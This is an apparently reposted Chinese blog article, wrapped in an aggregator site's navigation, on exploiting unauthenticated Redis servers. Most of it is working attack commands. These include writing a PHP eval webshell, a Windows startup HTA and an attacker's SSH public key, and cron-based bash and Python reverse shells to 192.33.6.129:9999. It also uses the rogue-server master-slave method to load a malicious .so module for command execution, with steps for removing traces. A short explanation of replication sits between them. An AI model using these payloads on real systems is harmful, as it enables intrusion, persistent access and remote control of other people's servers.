IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 大数据 -> Redis主从复制 -> 正文阅读

[大数据]Redis主从复制

Redis主从复制

未授权访问

版本3.2之前都是绑定0.0.0.0:6379所以暴露在公网

3.2之后绑定127.0.0.1相对安全,但是还是无密码可以利用ssrf进行利用(gopher,dict)

利用

注意flushall危险操作,会清空所有缓存数据。

通用

  • 写入webshell

    flushall
    set x '<?php eval($_GET["Q"]);?>'
    config set dir /var/www/html/upload
    config set dbfilename test.php
    save
    

windows

  • 写入自启动文件

    # win10系统管理员自启动目录
    C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
    # win7、win10等系统普通用户下自启动目录
    # user:Administrator
    C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
    
    
    flushall
    
    set x '<SCRIPT Language="JScript">new ActiveXObject("WScript.Shell").run("calc.exe");</SCRIPT>'
    
    config set dir 'C:\Users\root\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'
    
    config set dbfilename exp.hta
    
    save
    

linux

  • 写入SSH公钥免密登录
ssh-keygen -t rsa#生成恶意公钥
#写入
config set dir /root/.ssh/
config set dbfilename authorized_keys
set x "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHStzQa4aESwm/Rm/caKPQAblnb6OBCpxpCeahB2WKwnwoT6DuZ1ypzgYTjMEP6BOhySnSatDpdn7wZKUL7ZEaJdSAd0qD/QaHHLFMYvNXrGJQC+9JBvt5X5iUJOx5Ukdu36YXxRib4cw2qhDLnKa2Q96pEInVJcZ02VNxHTvAE+vjhCTQSYPJahin/s/a+IYEcjqyvkiuWVDWg2GMViMwq5Yh/ELZG2KAXNpSNx1TjklXYQVPO2dmPCdUYyy1r+WxEjWLJZPPWQntQc6KiqHmkEGBXGB4fVxScCVR8y2/DEzEqsQcveFWw7mhqfp9kNHP+AOv0wFwL9G8/glZEnGB root@rose\n\n"
save
  • 写入定时任务反弹Shell

    # bash反弹
    config set dir /var/spool/cron/
    config set dbfilename root
    set x '\n\n*/1 * * * * bash -i >& /dev/tcp/192.33.6.129/9999 0>&1\n\n'
    save
    
    config set dir /var/spool/cron/
    config set dbfilename root
    set x '\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.33.6.129/9999 0>&1\n\n'
    save
    
    # python反弹
    config set dir /var/spool/cron/
    config set dbfilename root
    set x "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os,sys;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.33.6.129\",9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"
    save
    

什么是主从复制

主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave),数据的复制是单向的,只能由主节点到从节点。

默认情况下,每台Redis服务器都是主节点;且一个主节点可以有多个从节点(或没有从节点),但一个从节点只能有一个主节点

简单来说,主从关系中的两大角色master(主) 和 slave(从) ,为了达到读写分离,规定在主服务器中写(同时同步到从数据库),在从服务器中读。算是一种通过牺牲空间来换取效率的缓解方式。

为什么要用主从复制?

要实现分布式数据库的更大的存储容量和承受高并发访问量,将原来集中式数据库的数据分别存储到其他多个网络节点上。

简单实现

 主 192.168.159.129   安装redis-server和redis-cli并启动
 从 192.168.159.132   安装redis-server并启动

在主redis上执行

redis-cli -h 127.0.0.1 -p 6379
127.0.0.1:6379> slaveof no one
OK
127.0.0.1:6379> set lyy 1
OK
127.0.0.1:6379> get lyy
"1"
127.0.0.1:6379> exit
redis-cli -h 192.168.159.132
192.168.159.132:6379> slaveof 192.168.159.129 6379
OK
192.168.159.132:6379> get lyy
"1"

slaveof命令:设置主从关系,形式为slaveof ip port,其中slaveof no one表示不从属其他机器

注意如果是新版本需要更改配置

protected-mode no

getshell

主从复制getshell的原理就是在redis 4.x-5.x版本中,允许从外部加载.so文件并且将这个文件中代码变成redis功能的一部分,从而实现功能扩展。

可以利用这个功能通过编译恶意的.so文件,并将该文件同步到从属redis上,进行加载,即可实现恶意代码的功能

1.第一步通过未授权或者已知密码去连接服务端redis,建立和自己攻击机的从属关系

我们刚刚在上一步已经实现

2.恶意的so文件使用Dliv3师傅已经编译好的

https://github.com/Dliv3/redis-rogue-server

运行python脚本即可成功利用

python3 redis-rogue-server.py --rhost 192.168.159.132  --rport 6379 --lhost 192.168.159.129 --lport 6379

原理

  1. 自己搭建redis数据库,然后受害者将自己的数据库设置为主节点。

    slaveof x.x.x.x  xx
    
  2. 设置备份文件名为恶意so文件

    set dir ./
    set dbfilename exp.sp
    
  3. 加载恶意so文件,实现任意命令执行

    module load ./exp.so
    
  4. 执行命令

    system.exec 'whoami'
    
  5. 清理痕迹

    config set dbfilename dump.rdb#redis快照文件
    system.exec 'rm ./exp.so'
    module unload system
    

优势

redis服务器中不包括除redis服务以外的任何服务时也可以利用,且更加便捷

  大数据 最新文章
实现Kafka至少消费一次
亚马逊云科技:还在苦于ETL?Zero ETL的时代
初探MapReduce
【SpringBoot框架篇】32.基于注解+redis实现
Elasticsearch:如何减少 Elasticsearch 集
Go redis操作
Redis面试题
专题五 Redis高并发场景
基于GBase8s和Calcite的多数据源查询
Redis——底层数据结构原理
上一篇文章      下一篇文章      查看所有文章
加:2022-02-26 11:37:32  更:2022-02-26 11:41:01 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 11:37:13-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码